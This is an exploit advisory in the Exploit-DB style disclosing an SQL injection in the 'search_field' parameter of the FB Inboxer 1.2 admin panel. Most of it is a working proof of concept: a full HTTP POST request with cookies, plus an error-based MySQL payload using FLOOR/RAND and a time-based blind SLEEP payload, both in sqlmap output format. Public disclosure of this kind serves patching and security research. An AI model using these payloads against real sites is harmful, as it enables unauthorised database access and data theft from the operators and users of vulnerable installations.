FB Inboxer 1.2 SQL Injection

`# Exploit Title: FB Inboxer 1.2 - 'search_field' SQL Injection  
# Google Dork: N/A  
# Date: 02.08.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/pageresponse-a-fb-inboxer-addon-facebook-auto-commentprivate-reply-likeshare-for-full-page/21486371  
# Version: 1.2  
# Tested on: Kali linux  
====================================================  
Description : The vulnerability allows an attacker to inject sql commands  
from the search section with 'search_field' parameter in the management  
panel.  
  
# Demo : http://server/home/login  
# PoC : SQLi :  
  
http://server/admin/user_management/ajax_list_info  
  
POST /admin/user_management/ajax_list_info HTTP/1.1  
Host: server  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101  
Firefox/52.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://server/admin/user_management  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 91  
Cookie: ci_session=8v3965595vs5h1gcufa8kmkl8uti8ccr;  
crud_page_c2dc7c9e0776f8cb12c51196de4108be=2;  
per_page_c2dc7c9e0776f8cb12c51196de4108be=15;  
hidden_ordering_c2dc7c9e0776f8cb12c51196de4108be=asc;  
hidden_sorting_c2dc7c9e0776f8cb12c51196de4108be=id;  
search_text_c2dc7c9e0776f8cb12c51196de4108be=tes;  
search_field_c2dc7c9e0776f8cb12c51196de4108be=name  
Connection: keep-alive  
search_text=tes&search_field=name&per_page=15&order_by%5B0%5D=id&order_by%5B1%5D=asc&page=1  
  
  
Parameter: search_field (POST)  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP  
BY clause (FLOOR)  
Payload: search_text=tes&search_field=name AND (SELECT 4580 FROM(SELECT  
COUNT(*),CONCAT(0x71716a7671,(SELECT  
(ELT(4580=4580,1))),0x7170717671,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY  
x)a)&per_page=15&order_by[0]=id&order_by[1]=asc&page=1  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: search_text=tes&search_field=name AND  
SLEEP(5)&per_page=15&order_by[0]=id&order_by[1]=asc&page=1  
  
====================================================  
  
`